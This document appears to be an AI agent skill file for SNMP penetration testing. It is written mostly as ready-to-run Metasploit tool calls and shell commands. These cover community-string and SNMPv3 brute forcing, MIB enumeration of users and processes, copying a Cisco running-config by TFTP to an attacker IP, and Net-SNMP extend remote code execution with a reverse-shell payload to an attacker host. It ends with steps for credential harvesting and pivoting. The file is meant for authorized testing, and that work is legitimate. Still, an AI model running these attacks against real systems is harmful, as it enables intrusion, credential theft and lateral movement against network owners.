snmp-pentest

name	snmp-pentest
description	Guides SNMP network management service penetration testing. Use when port 161 or 162 is discovered during scanning or when SNMP is identified.

SNMP Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).

Ports and detection

Port	Service
161/udp	SNMP agent queries
162/udp	SNMP traps (outbound)
10161/udp	SNMP over TLS (when present)

Service discovery

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/snmp/snmp_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 161, "COMMUNITY": "public", "THREADS": 5}
)

CLI fallback:

nmap -sU -p161 --script "snmp* and not snmp-brute" <target>
onesixtyone -c community.txt <target>
snmp-check <target> -c public

Workflow

Task Progress:
- [ ] Community string brute force
- [ ] SNMPv3 auth brute
- [ ] MIB walk and OID enumeration
- [ ] Config and credential disclosure
- [ ] Write access / Net-SNMP extend RCE
- [ ] Document findings

Community string brute force (v1/v2c)

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/snmp/snmp_login",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "RPORT": 161,
    "COMMUNITY": "public",
    "PASS_FILE": "/usr/share/wordlists/snmp-default.txt",
    "THREADS": 10
  }
)

CLI fallback:

onesixtyone -c community.txt <target>
onesixtyone -i targets.txt -c community.txt
hydra -P community.txt -v <target> snmp
nmap -sU -p161 --script snmp-brute <target>

Default strings: public (read), private (read/write).

SNMPv3 auth brute

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/snmp/snmp_login",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "RPORT": 161,
    "VERSION": "3",
    "USERNAME": "admin",
    "PASSWORD": "password",
    "AUTH_PROTOCOL": "SHA",
    "PRIV_PROTOCOL": "AES",
    "THREADS": 5
  }
)

CLI fallback:

# Enumerate SNMPv3 engine ID and users
nmap -sU -p161 --script snmp-info <target>
# Brute auth/priv
onesixtyone -c community.txt <target>   # v1/v2c first
snmpwalk -v3 -l authNoPriv -u admin -a SHA -A password <target>
snmpwalk -v3 -l authPriv -u admin -a SHA -A password -x AES -X privpass <target>
# Hydra SNMPv3
hydra -P passwords.txt -v <target> snmp -m ":admin:SHA:"

MIB walk and enumeration

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/snmp/snmp_enum",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 161, "COMMUNITY": "public", "THREADS": 5}
)
msf_run_auxiliary_module(
  module_name="auxiliary/scanner/snmp/snmp_enumshares",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "COMMUNITY": "public"}
)

CLI fallback:

snmpwalk -v2c -c public <target>
snmpwalk -v2c -c public <target> 1.3.6.1.2.1.4.34.1.3
snmpwalk -v2c -c public <target> NET-SNMP-EXTEND-MIB::nsExtendObjects
snmp-check <target> -c public
snmpbulkwalk -c public -v2c <target> .
braa public@<target>:.1.3.6.*

High-value Windows OIDs

OID	Data
1.3.6.1.2.1.25.1.6.0	Running processes
1.3.6.1.2.1.25.4.2.1.2	Program names
1.3.6.1.2.1.25.4.2.1.4	Process paths
1.3.6.1.4.1.77.1.2.25	User accounts
1.3.6.1.2.1.6.13.1.3	TCP local ports

Cisco config copy via TFTP

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/snmp/cisco_config_tftp",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "COMMUNITY": "private", "TFTPHOST": "<attacker_ip>", "FILENAME": "config.txt"}
)

CLI fallback:

# Requires RW community on Cisco device
# Start TFTP server on attacker
atftpd --daemon --port 69 /tmp/tftp
# Or: python3 -m pyftpdlib -p 69 /tmp/tftp
# Trigger config copy via snmpset
snmpset -v2c -c private <target> \
  1.3.6.1.4.1.9.9.96.1.1.1.1.2.1 s "running-config"
snmpset -v2c -c private <target> \
  1.3.6.1.4.1.9.9.96.1.1.1.1.4.1 a <attacker_ip>
snmpset -v2c -c private <target> \
  1.3.6.1.4.1.9.9.96.1.1.1.1.5.1 s "config.txt"
snmpset -v2c -c private <target> \
  1.3.6.1.4.1.9.9.96.1.1.1.1.6.1 i 1
# Config arrives at TFTP server

SNMP write access

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/snmp/snmp_set",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "COMMUNITY": "private", "OID": "1.3.6.1.4.1.0", "VALUE": "test"}
)

CLI fallback:

snmpset -v2c -c private <target> <OID> s "value"
snmp-set <target> -c private <OID> string "value"

Net-SNMP extend RCE

Verify RW community string via msf_run_auxiliary_module snmp_set or CLI before exploit.

MSF MCP (preferred):

msf_module_check(
  module_name="exploit/linux/snmp/net_snmpd_rw_access",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>", "COMMUNITY": "private"}
)
msf_run_exploit(
  module_name="exploit/linux/snmp/net_snmpd_rw_access",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "COMMUNITY": "private", "CMD": "id"},
  payload="cmd/unix/reverse",
  payload_options={"LHOST": "<attacker>", "LPORT": 4444}
)

CLI fallback:

# Requires RW community on Net-SNMP host with extend enabled
snmpset -v2c -c private <target> \
  1.3.6.1.4.1.8072.1.31.1.1.1.2.1 s "/bin/bash"
snmpset -v2c -c private <target> \
  1.3.6.1.4.1.8072.1.31.1.1.1.3.1 s "-c id"
snmpset -v2c -c private <target> \
  1.3.6.1.4.1.8072.1.31.1.1.1.4.1 i 1
snmpwalk -v2c -c public <target> NET-SNMP-EXTEND-MIB::nsExtendOutputFull.1

Post-access

• Harvest credentials from process lists, config OIDs, routing data
• Map internal topology from ipRouteTable
• Use network device creds for pivoting (internal-ad-pentest)

Related skills

• internal-ad-pentest - SNMP creds for network device pivoting
• linux-pentest - post-access on SNMP-managed Linux hosts